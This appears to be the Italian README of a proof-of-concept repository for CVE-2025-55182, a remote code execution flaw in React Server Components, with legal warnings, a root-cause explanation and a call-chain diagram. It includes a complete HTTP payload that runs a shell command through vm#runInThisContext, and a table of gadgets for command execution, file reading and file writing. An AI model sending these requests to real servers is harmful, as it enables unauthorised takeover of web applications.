
Strumento di ricerca sulla sicurezza unificato
Ricerca sulla Sicurezza di schema.cx
"Il controllo è un'illusione. Sono i sistemi che costruiamo a controllarci—a meno che non li comprendiamo prima."
QUESTO STRUMENTO È SOLO PER TEST DI SICUREZZA AUTORIZZATI
FERMATI. LEGGI QUESTO PRIMA DI PROCEDERE.
Questo repository contiene codice proof-of-concept per una vulnerabilità di sicurezza critica. Accedendo, scaricando o utilizzando qualsiasi materiale in questo repository, riconosci e accetti quanto segue:
Autorizzazione Scritta Richiesta: Devi avere autorizzazione esplicita e scritta dal proprietario del sistema prima di condurre qualsiasi test di sicurezza. Gli accordi verbali sono insufficienti.
Limitazioni di Ambito: I test devono essere limitati ai sistemi esplicitamente elencati nella tua autorizzazione. Lo "scope creep" non è consentito.
Leggi Applicabili: L'accesso non autorizzato a sistemi informatici viola:
GLI AUTORI E I COLLABORATORI DI QUESTO REPOSITORY:
"La domanda non è se possiamo sfruttare la vulnerabilità. È se dovremmo farlo, e per quale scopo."
CVE-2025-55182 è una vulnerabilità critica di esecuzione remota di codice (RCE) pre-autenticazione che riguarda i React Server Components nelle applicazioni React 19.x e Next.js 15.x-16.x.
Questa vulnerabilità consente a qualsiasi attaccante non autenticato con accesso di rete a un'applicazione vulnerabile di eseguire comandi arbitrari sul server. L'attacco non richiede credenziali, nessuna interazione dell'utente e può essere completamente automatizzato. Uno sfruttamento riuscito porta a:
| Metrica | Valutazione |
|---|---|
| Punteggio Base CVSS v3.1 | 10.0 CRITICO |
| Vettore d'Attacco | Rete |
| Complessità dell'Attacco | Bassa |
| Privilegi Richiesti | Nessuno |
| Interazione Utente | Nessuna |
| Impatto (C/I/D) | Alto / Alto / Alto |
"Le persone si fidano dei sistemi perché non li capiscono. Quella fiducia è una vulnerabilità."
La vulnerabilità esiste nell'implementazione del protocollo Flight di React all'interno della funzione requireModule. Questa funzione usa la notazione a parentesi per accedere agli esportati del modulo basandosi sull'input controllato dall'utente, senza convalidare che la proprietà richiesta sia una proprietà propria del modulo.
Posizione del Codice Vulnerabile:
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Funzione: requireModule (circa righe 2546-2558 in v19.0.0)
Pattern Vulnerabile:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... gestione asincrona ...
return moduleExports[metadata[2]]; // ← VULNERABILE: Nessun controllo hasOwnProperty
}
L'attacco sfrutta la traversata della catena dei prototipi di JavaScript:
$ACTION_0:0 contiene JSON con le proprietà id (formato module#export) e bound (argomenti) controllate dall'attaccanteconstructor o accedendo alle proprietà del prototipo, gli attaccanti possono riferirsi a moduli Node.js integrativm.runInThisContext, child_process.execSync, o fs.readFileSync vengono eseguite con argomenti forniti dall'attaccanteHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Analizza il formato "module#export"
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Accesso alla catena dei prototipi → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--
| Gadget | Modulo | Descrizione | Impatto |
|---|---|---|---|
vm#runInThisContext | vm | Esegue JS nel contesto corrente | RCE Diretta |
vm#runInNewContext | vm | Esegue JS in sandbox (aggirabile) | RCE Diretta |
child_process#execSync | child_process | Esegue comandi shell | RCE Diretta |
child_process#spawnSync | child_process | Avvia processi | RCE Diretta |
fs#readFileSync | fs | Legge file arbitrari | Esfiltrazione Dati |
fs#writeFileSync | fs | Scrive file arbitrari | Persistenza/Backdoor |
module#_load | module | Carica moduli JS (RCE in due passi) | RCE Indiretta |